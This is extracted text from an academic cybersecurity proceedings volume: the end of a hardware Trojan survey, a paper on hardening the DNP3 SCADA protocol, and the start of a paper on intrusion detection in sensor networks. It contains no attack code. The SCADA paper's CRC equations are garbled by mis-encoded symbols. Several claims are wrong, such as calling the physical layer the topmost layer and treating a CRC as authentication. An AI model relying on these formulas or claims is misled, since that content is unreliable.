Payload [6]. The trigger part is used to set off the malicious action while the
payload is the malicious part that really accomplishes the vicious action. Before a
triggering action takes place in an IC, the Hardware Trojan lies peacefully abeyant
without any activity and pings anywhere.
Vide [6], the triggering action for a Network Hardware Trojan is shown asso-
ciated with the LED light of Ethernet controller acts as a method to interpret the
Hardware Trojans: An Austere … 353

packet timings. The activity LED light seen in general flicking gives a broad
indication of the current network traffic presently user is involved with. The [6] has
taken the RTL88111E chip for the study which deciphered that there is 160 ms
delay between the LED Light to cycle on and off and it is this 160 millisecond delay
during which there is no network activity. This timing behavior of this LED activity
is used as a trigger for the Hardware Trojan.
Further to this [7], demoed the payload execution with the ENW02A-1-BC01
Gigabit Ethernet PCI-Express card. The network hardware Trojan was shown
degrading the network services using noise injection in chips clock circuitry of the
Ethernet controller in the form of a bias voltage. The demonstration included
desynchronizing the clock of the Ethernet controller chip owing to changes in the
affected bias voltage that lead to the changes in the resonant frequency on the
external crystal. Vide [8], HT can be an elementary alteration to the original IC.
This refers to an insertion of two input AND gates wherein while the HT is inactive
the IC gives the desired output unaffected while the same gives an always zero
output irrespective of the input given. They referred this particular example as Stuck
at Zero Trojan, i.e., SAZ.

5 HT Insertions

Hardware Trojans can actually get inserted at various stages of their life cycle
typically during design and manufacturing process or maybe even retrofitted to an
existing Hardware IC.

5.1 Design and Manufacturing Process

Economic inducements have goaded the semiconductor industry to dissever the

design of IC from fabrication. This has allowed potential vulnerabilities from
suspicious circuit foundries to covertly embed malicious HT into the erstwhile
original design. In the typical design process involved in Application-specific
integrated circuit (ASIC), the semiconductor intellectual property core (IP core),
i.e., the reusable unit of chip layout design which is an intellectual property of one
party or may be licensed to another and Standard model cells wherein low-level
very-large-scale integration (VLSI) layout is encapsulated into an abstract logic
representation are often considered untrusted [9].
354 A. Tiwari and C. Soni

5.2 CAD Tools for Modification of RTL

CAD tools can be periled appositely tapping software vulnerabilities to alter RTL
[10] without the intercession and intent of the designer and once compromised, it
would be a herculean task to detect. Besides, the concept of SoC based on recy-
clable hardware is a permeating praxis in the semiconductor industry today owing
to the huge diminution in cost and time attributes involved. Sadly here, only the
supply and demand factors are being addressed, i.e., the user is only interested in
getting his functionalities right and the seller may just be involved to ensure the
same reaches the customer at the right time but the malicious untrusted third party
in the process may butt in something unknown to either that can be a reason for
chaos later.

5.3 Malicious Reprogramming of FPGA

A typical customer holds a bare manufactured IC and configures the same with the
help of a field-programmable gate array. The FPGA configuration is generally
specified using a hardware description language (HDL), similar to that used for an
application-specific integrated circuit (ASIC).

5.4 Side-Channel Attacks

MOLES [11] aka Malicious Off-chip Leakage enabled by Side channels engineered
to leak information below the effective noise power level of the device. Vital and
critical data vide Moles can be retrieved with the assistance of spread spectrum
technology, i.e., a type of wireless communications in which the frequency of the
transmitted signal is designedly altered [12] and since the signal of the reduced
information vanishes in the noise, it becomes arduous of what data has been
transferred [13]. HT based on this actually is a novel way to designedly leak out
information.

5.5 Malicious Processor

n advantageously contrived and implanted backdoor at an untrusted fabrication

facility involved in manufacturing the typical pc processor can be victimized by a
software antagonist at a later scheduled timeline. Such backdoors are ordinarily
designed to be out of action during booting or activated under uncommon prede-
termined stipulates or can get activated with a singular rare input condition that is
Hardware Trojans: An Austere … 355

ascertained by the malevolent intender [14]. This kind of a backdoor in a processor

will never be divulged by the run of the mill or state of the art antivirus versions
predominately available COTS.

6 Known Cases of HT in Recent Times

It comes as a surprise though that such a severe threat that is currently the topic of
various forums, discussions, conferences, and research work has no such case
studies to know the impact. Whatever heard and read is all discredited and only
suspected, for e.g., Operation Orchard [15] wherein a Syrian nuclear reactor was
subjected to Israeli Airstrike, seems to have been worked out via a hidden
kill-switch function in the radar infrastructure. This functionality was then thought
to be used to disable the Syrian radars for the short duration of the attack.
Mi-grade FPGA chips, e.g., ACTEL have been a suspect of containing a
backdoor function that’s equivalent of admin debug designed into the JTAG
functionality of the subject chip IC. The subject IC Actel/Microsemi ProASIC3
chips could be used for accessing FPGA configuration using this backdoor. The
researchers confirmed that this backdoor was not present in the original firmware
loaded with the chip [16].

7 Measures to Detect Hardware Trojans

Vide above basic introduction we can see the kind of potent threat this brings along
and the worst part till date is no formal or assured methods exist to detect any such
threats. A typical hardware Trojan threat can actually exist in an IC as a 5–6 line
code that gets activated under predefined conditions as a set. Though at present the
severity of the threat being realized is finally forcing IT security domain to look and
seek ways to resolve. Few good but only prelim measures include the following.

7.1 Embedded Systems Challenge

Polytechnic Institute of New York University based at USA every year organizes
this competition by the name of Embedded Security Challenge (ESC) that bids two
teams in a contest wherein one team designs target system hardware and the other
team tries to identify and exploit the vulnerabilities in the target hardware [17].
356 A. Tiwari and C. Soni

7.2 Trust in ICs

This concept aims at a secure cycle of IC design and manufacturing primarily

comprehending insertion points including chip authentication, IC design, IP pro-
tection, and manufacture [18]. Defense Advanced Research Project Agency backs
the SHIELD [19] (Supply Chain Hardware Integrity for Electronics Defense)
program that proposes to build trust in the typical supply chain that involves
Design, Manufacturing, Testing, Integration, packaging, and finally distribution.
The SHIELD root of trust as proposed would be able to avow the provenance of an
IC as it goes through the typical Supply chain processes.

7.3 Golden Model Fabrication

One way of ensuring a Hardware Trojan free IC is a fabrication of the complete IC

in a trusted plant with no third parties involved and no outsourcing involved. Once
fabricated, this IC can be used as a reference model for “Integrated Circuits under
Test” for behavioral and performance deviations [20].

8 Countermeasures to Detect Hardware Trojans

Probably, as we see above, these are only too prelim measures to counter Hardware
Trojans perhaps a long way to go before a 100% trusted IC checks in before us.
Ideally any malevolent modification to any IC should be perceptible during tests
and inspections whilst pre-silicon manufacturing or post-silicon testing but that is
not an easy thing to do since the complex ICs today, with so many multiple
agencies involved at various echelons of manufacturing and design, will unlikely
have a golden model of the intact IC. Moreover, if the antagonist decides to taint
only a minuscule percentage of the complete batch of ICs being manufactured, the
complexness to detect only step-ups further. Another way out for detection involves
Nanometer physical inspection [21] which is for one very complex from point of
conduct but also is mostly not economically viable. Vide [22], the countermeasures
for HT as concentrate on three panoptic categories of countermeasures for pro-
tection against HT. These include Runtime monitoring, Design for security and
Trojan Detection approaches which attempt to arrest any kind of malicious
embedding of HT at prefabrication stages using pre-silicon test approaches or using
non destructive techniques at post-silicon manufacturing test stage. The Run Time
Monitoring approach is based on online monitoring while the circuit is in operation.
The Design for Security approach essays to make the insertion of HT at any stage
hard or facilitate detection ease during pre/post fabrication whereas the Trojan
Detection approach can be logic testing based on generating set and predefined test
Hardware Trojans: An Austere … 357

patterns and side-channel analysis for HT. Between these, Design for Security
approach may not be a very effective way to resolve the HT threat owing to the
diversity of threat classification discussed above whilst Runtime Monitoring may be
more effective since this approach can be applied for real-time monitoring.

8.1 Destructive Versus Nondestructive Detection Technique

Once the IC is fabricated and boxing concluded for use by the end user, there
remains very restricted ambit and visibility to endeavor to detect any kind of HT
presence. However, destructive reverse engineering resolves to an extent in such
cases. It involves depackaging the IC, acquiring microscopic images of each layer,
trust validating the same after rebuilding the design of the end product. This
approach uses a sample of the infected batch of ICs, thus it would be judicious to
apply this wherein infection or insertion of the HT is limited to a small percentage.
Scanning Electron Microscopy (SEM) is used to destructively delayer one chip
wherein all of the transistors and connections can be averred. Also, this approach
makes the IC under test unusable further, that’s why the name destructive came to
the fore. It takes from weeks to maybe months depending upon the complexity of
the IC under detection for giving a 100% assurance of an HT free IC.
Nondestructive methods relate to ways of detection that keeps the chip usable after
the test. Between the two, Destructive detection technique is more effective
viz-a-viz nondestructive detection technique.

8.2 Homomorphic Encryption/Decryption

One of the countermeasures against Hardware Trojans proposed by Aliyu and Bello
[23] is the use of Homomorphic Encryption and Decryption which offers brilliant
security boasts since it allows operating on data without revealing the contents
being worked at. Homomorphic encryption is a type of encryption which allows
processing of data on ciphertext and generates an encrypted result which on
decryption is valued equally to the one processed with plain text. This certainly is
an advantage plus for handling Hardware Trojans. Homomorphic encryption may
be Partial or Full where Partial Homomorphic proffers to do either multiplication or
addition on ciphertexts without unwrapping the original plaintext data while Full
Homomorphic appropriates efficacious rating of a capricious depth circuit compiled
of multiplications and additions.
358 A. Tiwari and C. Soni

9 Conclusion

IC is the basic core component of the diverse range of electronic systems being
exploited across various domains pan globe today and the growing dependence
makes it essential to ensure these ICs faithfully and sincerely perform the tasks they
are designed and fabricated for. Hardware Trojans being inserted or retrofitted at
any stage in these ICs are thus a grave threat that stands as a serious challenge today
for the IT security domain. The software industry which has been campaigning in
all gears put into ascertaining a malware/virus free application or an OS, over
decades now, is yet to reach anywhere as daily various zero days keep getting
deciphered which might be existing in an unknown quantified figure. The HT threat
actually adds to the excruciation since this is indeed indecipherable with the present
set of researches and studies did across. The future researches have a wide domain
to work on starting to explore the emerging attacks on these ICs, developing trust
validation standards for ICs being manufactured in the electronic industry and come
out with inexpugnable apt approaches to counter such threats.

References

1. Trojan at https://en.wikipedia.org/wiki/Trojan_horse_%28computing%29
2. Mitra S, Wong HSP, Wong S (2015) Stopping Hardware Trojans in their tracks
3. Bhunia S (2014) Hardware trojan attacks: threat analaysis and counter measures
4. Karri R (2010) Trustworthy hardware: Identifying and classifying Hardware Trojans. IEEE
Comput 43(10)
5. Wang X, Plusquellic J (2008) Detecting malicious inclusions in secure hardware: challenges
and solutions. In: Proceedings of the 2008 IEEE international workshop on hardware-oriented
security and trust, Washington
6. Zhang J (2014) DeTrust- defeating hardware trust verification with stealthy
implicitly-triggered Hardware Trojans
7. Shield J, Hopkins B (2015) Hardware Trojans—a systemic threat
8. Shield J, Hopkins B (2015) Hardware Trojans—a systemic threat, p 47, Para 5
9. Shield J, Hopkins B (2015) Hardware Trojans—a systemic threat, p 49, Para 5.3
10. Aliyu A, Bello A (2014) Hardware Trojan model for attack and detection techniques
11. Rad R, Plusquellic J, Tehranipoor M (2010) A sensitivity analysis of power signal methods
for detecting Hardware Trojans under real process and environmental conditions
12. Wu TF, Wong HSP, Wong S, Mitra S (2015) TPAD-hardware trojan prevention and detection
for trusted integrated circuits
13. Lin L, Burleson W (2009) MOLES—malicious off-chip leakage enabled by side-channels
14. Spread Spectrum at http://searchnetworking.techtarget.com/definition/spread-spectrum
15. Hardware Malware book By Edgar Weippl (2013) Adrian Dabrowski, Heidelinde Hobel,
p 67, para 4.2
16. King ST, Tucek J, Cozzie A, Grier C, Jiang W, Zhou Y (2008) Designing and implementing
malicious hardware. In: Proceedings of the first USENIX workshop on large-scale exploits
and emergent threats(LEET)
17. Adee S (2008) The hunt for the kill switch. IEEE Spect 45(5):34–39
Hardware Trojans: An Austere … 359

18. Skorobogatov S (2012) Breakthrough silicon scanning discovers backdoor in military

chip. In: Cryptographic hardware and embedded systems (CHES’12), vol 7428. Springer,
Berlin, pp 23–40
19. The Embedded Systems Challenge at https://csaw.engineering.nyu.edu/
20. DARPA Trust in IC at http://www.darpa.mil/program/trusted-integrated-circuits
21. Shahrjerdi D, Rajendran J (2014) Shielding and securing integrated circuits with sensors
22. Hardware Malware book By Edgar Weippl (2013) Christian Krieg, Adrian Dabrowski,
Heidelinde Hobel, p 67, para 4.2
23. Aliyu A, Bello A (2014) Hardware Trojan model for attack and detection techniques

Author Biographies

Anupam Tiwari is an IT Security enthusiast and an incisive learner, holds rich experience and
qualifications in the demesne including CDAC & GFSU Certified Cyber Security Professional,
Certified Ethical Hacker with B.E and M.Tech in Computer Science from JNTU Hyderabad. He
also holds three post graduation qualifications in Information Security, ERP and Operations &
Systems and presently pursuing his research in the world of cryptocurrencies. He is a senior
member and regular contributor to articles in leading defence and engineering journals. He has
been a regular participant in National and International Seminars as a guest speaker and He is
working with the Min of Defence wherein he has variegated experience of service in IT security
implementations and conduct of Cyber Audits.

Chetan Soni is an cyber security follower. He holds vast experience and qualifications in field of
cyber security. He is B.E. in computer science and holds two PG Diploma in field of Information
security and Aeronautical engineering. He has done various certifications in field of Information
Security including CEH. He has ten years of experience in domain of Information Security. His
area of interest is implementation of firewalls and network security. He is presently working with
Min of Defence where he has implemented various cyber security measures and conducted
Information Security audits in his organization.
Cybersecurity for Supervisory Control
and Data Acquisition

Sahebrao N. Shinde and Reena P. Shinde

Abstract SCADA stands for Supervisory Control and Data Acquisition, a com-
munication technology which collects data from distant facilities and sends control
signals to actuators. A number of factors exist that increases the risk allied with
SCADA systems. SCADA components are considered to be profoundly privileged
targets for cyberattacks through which hackers can easily hit the nation’s critical
infrastructure and economy. This paper investigates security issues of SCADA
communication protocols. In order to protect the SCADA networks, we focus on
the protocols as they were not designed with inherent security features. This paper
emphases on the security system through protocol hardening. The objective is to
modify the structure of such protocols to provide more integrity and authentication.
In the proposed structure, two algorithms are used to enhance the security and
integrity of the payload. They are discussed further in the next six sections.

Keywords SCADA
Data link layer protocol
CRC
Cybersecurity

Industrial network

1 Introduction

SCADA is critical infrastructure to provide the services to real-time system such as

traffic control, electric power generation, power grid, waste treatment, etc. It col-
lects facts from distant services and sends signals to actuators. These SCADA
systems [1] were introduced for local systems and its applications have been
expanded to wide area networks as technology evolves. Proprietary controls and
limited security issues made SCADA to some extent secured. As a result of

S. N. Shinde (&)
Department of Computer Science, C.M.C.S. College, Nashik, India
e-mail: [email protected]
R. P. Shinde
Department of Computer Science, Sinhgad College of Science, Pune, India
e-mail: [email protected]

© Springer Nature Singapore Pte Ltd. 2018 361

M. U. Bokhari et al. (eds.), Cyber Security, Advances in Intelligent Systems
and Computing 729, https://doi.org/10.1007/978-981-10-8536-9_35
362 S. N. Shinde and R. P. Shinde

increased commercial grid and internet, this network is considered vulnerable to

computer-generated outbreaks. These systems were primarily designed with the
thought for functionality and performance and little thought toward security.
Later on, commercial grid and internet have connected to SCADA [2] which
introduces cybersecurity threats. It could pose a threat to the economy of country
and life of citizens. If intruders attack SCADA components through which they can
shake the nation‘s critical infrastructure and economy. These types of attacks have a
potential to obstruct. The essential operations of the nation such as disrupt financial
service, shut down power systems.
Along with opportunities like improved response to electric system, optimization
of performance-generating stations and resilience to failure, modern communication
control systems, and computing also render the physical processes and systems
susceptible to deliberate attacks from core or outer parties.

2 Industrial Network

SCADA has advanced prerequisite with reference to reliability, uptime, and inac-
tivity as compared to the IT systems, so it is impossible to constantly apply security
measures to the information technology organization. Confidentiality, Integrity, and
Availability is the main concern for both the systems. The top priority for SCADA
systems is Availability whereas Confidentiality is for IT system. It is required to
analyze various threats and vulnerability that affects the SCDA system operation.
The topic covered in this paper is the core of automation and Industrial grids that
constitute Critical National Infrastructure. Traditionally, such systems were instal-
led standalone and did not interface with the outside world. SCADA [3] compo-
nents are considered to be privileged targets for cyberattacks through which hackers
can easily hit the nation‘s critical infrastructure and economy. Such attacks can
potentially shut down power systems, interrupt financial service and, therefore,
obstruct the essential operations of the nation. While modern communications,
computing and control systems bid remarkable openings to expand response of the
power-driven system, optimize generating station performance, and offer resilience
to failure, they also render the physical processes and systems prone to purposeful
attacks.
Protecting the SCADA systems which perform the monitoring and control
functions of utility infrastructure, such as electricity, gas, water, etc., is critical for
national security. Any vulnerability in these systems can pose serious threats and
can bring down operations of a utility. In critical applications, the appropriate
control strategy to block execution and any unknown or malicious behavior.
Security risk analysis and development of precise safety keys will help us to
understand, how this can be protected from attacks.
The protocols used in SCADA [4, 5] systems traditionally have been built with
little thought given to security. Security of SCADA system by means of protocol
hardening is a plausible solution to address such threats.
Cybersecurity for Supervisory Control … 363

DNP3 protocol is used to communicate between the Master and Outstation by

critical infrastructure. Securing DNP3 is an active research topic. The third version
of Distributed Network Protocol is applied by SCADA to converse amongst the
Outstation and Master. DNP3 protocol optimizes the conduction of acquiring data
and control commands within the main units and slave units. It is different than the
protocols found for email transmission, hypertext forms, and SQL. It is highly
suitable for SCADA applications.

3 Industrial Network Protocol (DNP3)

DNP3 [6, 7] is a permitted, robust, efficient modern SCADA protocol. Remote

computers found in the field are denoted as outstation and the control centers as
masters. This protocol optimizes the conduction of acquiring data and control
commands within the main units and slave units.
DNP3 [8] is a simplified 3 layer standard (application, data link and physical)
initially proposed by the International Electrotechnical Commission but later on,
Enhanced Performance Architecture (EPA) enhanced the architecture of DNP3 by
introducing an additional layer, a pseudo transport layer enabling message
segmentation.

3.1 Application Layer

It provides customized utilities like data formats, the efficient spread of acquired
data, features, and control commands [9]. This layer provides service to send/
receive messages to/from DNP3 devices. A fragment is a block of octets containing
request or response information transported between a master and an outstation.
Application layer fragment structure is of two types:
• Request fragment
• Response fragment
In request fragment, the application request header is of 2 bytes: Application
control (1 byte), Function code (1 byte).
In response fragment, the application response header is of 4 bytes: Application
control (1 byte), Function code (1 byte), and Internal Indication (2 byte).
364 S. N. Shinde and R. P. Shinde

3.2 Pseudo Transport Layer

It allows message segmentation, by breaking down the long fragment of

Application layer to the size of the data unit of Data Link layer (Transport function)
at transmission time and amalgamate it at receiving site. The Transport function
adheres header (1 octet) and application data (1–249 octets).

3.3 Data Link Layer

It transports data across a communication channel to destination device

bi-directionally. This layer performs several functions like encapsulation, error
detection, source, and destination addresses. It encodes data received from pseudo
transport application layers with fixed sized data link header.
The encoded data is sent over a communication channel for transmission. The
DNP3 data link frame has fixed length header block (10 octets) followed by
optional data blocks. Each block ends with a 16 bit CRC. Frame length may be
long as 292 octets.

3.4 Physical Layer

It is topmost level, responsible for transferring messages on physical media.

4 Security Issues in Industrial Network

4.1 Issues Related to Device Security MTU/RTU

The device in industrial networks are sometimes located in remote places and
therefore device security takes a high priority in design and deployment of these
devices.

4.2 Issues Related to Protocol Security

Integrity and authentication are of utmost importance in the industrial network as

unauthorized data manipulation by adversaries can have disastrous consequences.
In the absence of integrity and authentication measures, one can attack or replay the
attack in the direction of the network.
Cybersecurity for Supervisory Control … 365

4.3 Mod-Based Security

The intense growth of liabilities has become one of the key challenges for security
personnel, who not only need to consider the increasing amount of attacks, but also
identify how these attacks could be combined in complex ways. Clearly, a
methodology must exist, but it is not significant. For instance, a company may
identify their competitor using industrial spies against them, but the company may
judge this as nonexistent for specific parts of their infrastructure. For example, an
outlying control station operating with 10-year-old technology is less prone to
threats. The severity of the threat must be determined by allocating resources
properly.
Few business experts treat SCADA as usually customized for particular sector’s
application, which requires a good precise knowledge of a certain system and
industry to attack it. Furthermore, specialized knowledge requirement will reduce
the number of attackers, concluding why SCADA attacks are diverse from the
attacks on other computer networks. Although SCADA attacks are infrequently
effective, the oppositions showcase its curiosity.
There are a number of ways using which we can perform a security analysis of a
given network based on protocol application and topology.
Fault Tree Analysis (FTA) is a tool used for security and reliable evaluation for
demonstrating the failure paths in a system. It does system-level risk evaluations
using a tree structure. It is almost 50 years old and is extensively utilized. The
failure in the system is exhibited in a visual fault tree. The simple set of logic rules
and symbols within the tree structure make a qualitative and quantitative evaluation
of complicated systems. Fault trees are simple to design, but it is difficult to solve
complex tree structure. All the features of fault tree and additional capabilities are
exploited by the Attack trees.
Like fault trees, Attack trees (AT) are also representations of reality, providing a
simplified representation of complex real-world drivers. The accuracy underlying
the drivers and future analysis is determined by the time or effort spent in learning
and norms made.
The attacks on the target is represented by an upside-down tree structure with the
goal as the root node, the sub-goals are different ways of achieving that goal and
leaf nodes as the lowest level tasks. The leaf nodes contain user-defined values
called indicator values to store attributes of that leaf node.
Leaf nodes can have Boolean value (true/false), explicit value (1-low to 4-high),
or continuous value (cost: 0 to any dollar amount). There can be additional options
for continuous node too. In the attack tree, some part of the openly accessible attack
data is used as indicator values. A complex tree can have numerous attack scenarios
only if all possible paths are covered to reach the root. A threat agent profile helps
to reduce the number of tree attacks. Attack tree consists of physical/cyberattacks
and illustrates touch points amongst them.
366 S. N. Shinde and R. P. Shinde

5 Proposed Solution Industrial Network Security

This work deals with communication security aspects of DNP3/SCADA. Our work
enhances the security of the DNP3 protocol to alleviate the threats. The most
important focus is on the redistributes the bytes of the protocol, on the augmen-
tation of the CRC algorithm and Blowfish algorithm for better security aspect.
Traditionally DNP3 protocol has only CRC is used for detecting transmission error
[10, 11]. We provide the security in following ways:
• Encrypting DNP3 Packet.
• Modify the internal structure of protocol.
Out of 292, it uses 34 bytes of the DNP3 link protocol data unit for integrity and
security. We redistribute these bytes to enhance the payload range and security of
the DNP3 protocol with the help of following rearranges fields:
• New LH Header
• Sequence Number
• Original LH Header
• Payload Data
• Enhanced CRC
In this proposal, the message is protected by encryption using Blowfish and our
algorithm for authentication as shown in Fig. 1.
• In this ZA protocol, the message is protected by the following two algorithms.
• Blowfish encryption algorithm: Blowfish provides the confidentiality to the data
by encrypting the data.
• Enhanced CRC algorithm for data authentication in the protocol: CRC helps in
the authentication of the data at both sides. In the enhanced CRC technique, it
uses only 4 bytes of DNP3 protocol.

Fig. 1 Message Protection using Blowfish and Proposed Algorithm

Cybersecurity for Supervisory Control … 367

Enhanced CRC Algorithm for Message Authentication and Blowfish

Encryption Algorithm
CRC helps in the authentication of the data at both sides. In the enhanced CRC
technique, it uses only 4 bytes. Blowfish helps in confidentiality of the payload.
Blowfish [12] is a variable length keyed symmetric block cipher. It was
developed in 1993 by Bruce Schneier. This algorithm contains Key Expansion and
Data Encryption Part. In key Expansion part, inputted key value up to 448 bit is
converted into a number of sub-array keys of total 4168 bytes. Data Encryption
contains network which consists of 16 rounds. Every round has a key-dependent
permutation and key and data-dependent substitution.
In this scenario, payload data, original header, key sequence number and
enhanced CRC are encrypted with the help of Blowfish encryption algorithm as
shown in Fig. 2. The total 272 bytes are under Blowfish encryption algorithm. It is
a symmetric block cipher and each block is 64 bits. This cryptography’s secret key
ranges from 32 to 448 bits. It is a strong encryption algorithm to provide security in
the SCADA protocols to use the generator polynomial. The generator polynomial is
used to divide the message to find out the remainder as CRC [13, 14]. The degree of
generator polynomial should be r, to compute an r-bit CRC checksum.
The remainder polynomial is generated when sender appends r 0-bits to the
message of m-bit and divides the resulting polynomial by the generator polynomial.
The data transmitted is the original m-bit message followed by the r-bit CRC.
The CRC [15, 16] method treats the message as a polynomial in GF (2). At the
receiver side, the receiver uses the same generator polynomial to divide received the
message. If the remainder generated after dividing the received message is zero,
then no error occurred in the message, otherwise, an error occurred.
In ZA protocol, below polynomial can be used to represent the original message:

PðzÞ ¼ aN1 zN1 þ aN2 zN2 þ


þ a0

Original message is represented in a binary form

½aN1 aN2 . . .a0 

Here aN−1 represents the MSB whereas a0 is LSB.

For CRC computation generator polynomial is all times associated, and we use
generator polynomial G(z) of M degree which can be denoted in a polynomial:

GðzÞ ¼ gM zM þ gM1 xM1 þ


þ g0

And binary representation is

½gM ; gM1 . . .g0 :

In our enhance algorithm we divide the original message of N bits

368 S. N. Shinde and R. P. Shinde

Fig. 2 Internal Structure of ZA Protocol

½aN1 aN2 aN3 . . .a0  into n chunks of M size

Without loss of generality, N = nM, where original message of N bits, M bits

size of chunk, n is integer. For example message of 272 bytes is divided 68 chunks
of 4 bytes as shown in Fig. 3.
Here Wi ðzÞ ¼ aði þ 1ÞM1 zM1 þ


þ aiM . Then original message will be

PðzÞ ¼ Wn1 zN1 þ Wn2 zN2 þ


þ W0 ð1Þ

And Wi(z) is the ith chunk of the original message

Consider,
Cybersecurity for Supervisory Control … 369

Fig. 3 Enhanced CRC

PðzÞ ¼ Original message

GðzÞ ¼ generator polynomial

To calculate the CRC, affix M zeroes next to LSB and then divide the affixed
message by G(z). Then correspondingly:

CRC½PðzÞ ¼ ðPðzÞzM Þ mod GðzÞ ð2Þ

From the Eq. (2) and congruence property, CRC computation on segmented
message (1):

CRC½PðzÞ ¼ Wn1 ðzÞ nM mod GðzÞ þ


þ W0 zM mod GðzÞ:

Here, the modulo of Wi(z) by G(z) will be Wi(z), i.e., Wi ðzÞjGðzÞj ¼ Wi ðzÞ.

Wi ðzÞzði þ 1ÞM jGðzÞj ¼ Wi ðzÞ mod GðzÞzði þ 1ÞM mod GðzÞ;

for i ¼ 0; 1; 2; . . .; n  1:

Note: For each chunk, the degree of Wi(z) < M.

Let us define a coefficient,

ai ¼ zði þ 1ÞM mod GðzÞ for i ¼ 0; 1; . . .; n  1:

Now CRC can be computed as:

CRC ½PðzÞ ¼ Wn1  an1  W0  a0

By the help of the G(z), we calculate a.

To compute a factor, consider
370 S. N. Shinde and R. P. Shinde

a0 ¼ zM mod GðzÞ ¼ fgM1 þ


þ g0 

a1 ¼ z2M mod GðzÞ ¼ ½a0  a0 




an ¼ znM mod GðzÞ ¼ a0n

After (a0 a1 … an) is computed, then CRC is computed as

CRCðbðzÞÞ ¼ W n1  an1  W0  a0

The operation  and  are Galois Field multiplication and addition over GF
(2M), respectively.
Now enhanced CRC algorithm is presented as:
(i) Put original message of N bits and divide it into n chunks
[Wn−1Wn−2 … W1W0] and for every chunk size is M bit (N = nM).
(ii) Initially take generator polynomial G(z) and its degree M and at the same
time calculate a coefficient (as discussed above).
(iii) Perform the n-pair Galois field multiplication in parallel and then XOR the
products which give the CRC result.
Here original message divided into small 68 chunks of 4 bytes. These chunks are
undergoing CRC algorithms to provide message authentication. It is used to provide
integrity of the message in SCADA protocol. Here 4 bytes are used in the CRC out
of 20 bytes and the remaining bytes are reserved for future work. So the protocol is
providing authentication and integrity by using blowfish and enhanced CRC.
Through this approach, we rearranged bytes of the DNP3 protocol to enables
confidentiality, integrity, and authenticity. In this protocol, we have done modifi-
cation in the protocol to reserve the bytes and provide security. The Payload data
and original LH header are encrypted by Blowfish algorithm to provide the con-
fidentiality to the message. The 4 bytes of our proposed CRC is used to provide
message authentication.

6 Conclusion

This paper investigates security issues of network communication protocols. In

order to protect the SCADA networks, we focus on the protocols as they were not
designed with inherent security features. The aim is to modify the structure of such
protocols to provide more integrity and authentication. In the proposed structure,
two algorithms are used to enhance the security and integrity of the payload. We
have freed 16 bytes in the frame for future enhancements and possible modifica-
tions. The aim is to increase the security of such protocol to alleviate threats.
Cybersecurity for Supervisory Control … 371

References

1. Saquib Z, Patel D, Rajrajan R (2011) A configurable and efficient keymanagement scheme for
SCADA. Int J Res Rev, June 2011, 1(2):16–24
2. Saxena A, Pal O0, Saquib Z, Patel D (2010) Customized PKI for SCADA systems network.
Int J Adv Networking Appl 01(05):282–289
3. Mahboob A, Zubairi J (2010) Intrusion avoidance for SCADA security in industrial plants.
Collab Technol Syst (CTS), Proc. CTS 2010, 447–452, IEEE Digital Library
4. Bhagaria S, Prabhakar SB, Saquib Z (2011) Flexi-DNP3: flexible distributed network
protocol version 3(DNP3) for SCADA security. Recent Trends Inf Syst, 293–296, 21–23 Dec
2011
5. Saiwan S, Jain P, Saquib Z, Patel D (2011) Cryptography key management for SCADA
system an architectural framework. Adv Comput Control Telecommun
6. Dawson R (1997) Secure communication for critical infrastructure control system. University
of Queensland
7. Majdalawieh M, Parisi-Presicce F, Wijesekera D (2006) DNPSec: Distributed network
protocol version 3 (DNP3) security framework. Adv Comput Inf Syst Sci Eng, 227–234,
Springer, Dodrecht
8. DNP3 Application Note AN2003-001, http://www.dnp.org/
9. Distributed Network Protocol (DNP3). In: IEEE Standard for Electric Power Systems
Communications 2012
10. Rogaway P, Bellare M, Black J (2006) OCB a block—cipher mode of operation for efficient
authenticated. ACM Trans Inf Syst Secur
11. Bellare M, Rogaway P (1994) Entity authentication and key distribution. In: Advances in
cryptology (CRYPTO’93). Lecturer notes in computer Science. Springer, Berlin
12. Schneier B (1994) Description of a new variable-length key, 64-bit block cipher (Blowfish),
fast software encryption. In: Cambridge security workshop proceedings. Springer, Berlin,
pp 191–204, Vol 809, FSE 1993, Lecture Notes in Computer Science
13. Ji HM, Killian E (2002) Fast parallel CRC algorithm and implementation on a configurable
processor. In: IEEE 2002, vol 3
14. Feldmeier DC (1995) Fast software implementation of error detection code. IEEE/ACM Trans
Networking, IEEE/ACM Trans. on Networking, 3(6), Dec 1995, 640–651
15. Joshi SM, Dubey PK, Kalpan MA (2000) A new parallel algorithm for CRC generation,
communication. In: ICC IEEE international conference
16. Sarwate DV (1988) Computation of cyclic redundancy checks via table lookup. Commun
ACM 31(8)
k-Barrier Coverage-Based Intrusion
Detection for Wireless Sensor Networks

Jaiprakash Nagar and Sandeep Sharma

Abstract Wireless sensor networks (WSNs) is an egressing technology having

various applications such as in military for surveillance and reconnaissance, in
health care for patient monitoring, environmental monitoring, weather monitoring,
etc. These networks are vulnerable to different types of security threats such as
intrusion. Therefore, intrusion detection is the main issue in sensor networks. It is
assumed that mobility of sensors can be advantageous to get improved coverage
performance. In this work, we discuss an intrusion detection technique in mobile
sensor networks. The performance of the network is analyzed in terms of proba-
bility, such as k-barrier coverage probability versus moving intruders. Then, the
effect of number of sensors, sensing range of sensors, and the speed of sensors and
intruder on the probability of k-barrier coverage is analyzed. Finally, this work
proves that the performance of the network can be improved up to a significant
order with mobile sensors as compared to that of static sensors.

Keywords Intrusion
k-barrier coverage
Sensors
Field of interest

1 Introduction

A sensor network is a group of small sensors called nodes having low-power

operational characteristics. This technology has many attracting features (e.g.,
unattended network operation, low installation cost, etc.); therefore, wireless sensor
networks are being deployed for many applications like reconnaissance missions
and surveillance for military, in health care for patient monitoring, for industrial
monitoring, to monitor environmental and physical phenomena, such as wild fire,

J. Nagar (&)
S. Sharma

School of Information and Communication Technology,
Gautam Buddha University, Greater Noida 201308, Uttar Pradesh, India
e-mail: [email protected]
S. Sharma
e-mail: [email protected]

© Springer Nature Singapore Pte Ltd. 2018 373

M. U. Bokhari et al. (eds.), Cyber Security, Advances in Intelligent Systems
and Computing 729, https://doi.org/10.1007/978-981-10-8536-9_36
374 J. Nagar and S. Sharma

wildlife, water quality, earthquake, ocean, and pollution; to monitor manufacturing

machinery performance and industrial sites, such as building safety and in houses to
detect burglary, and so on [1].
Since wireless sensor networks have no switches or gateways to supervise the
flow of information, the security of such networks is a significant issue [2];
particularly for the applications where concealment has main importance, hence
intrusion is one of the major issues in sensor networks. In [3], intrusion is defined as
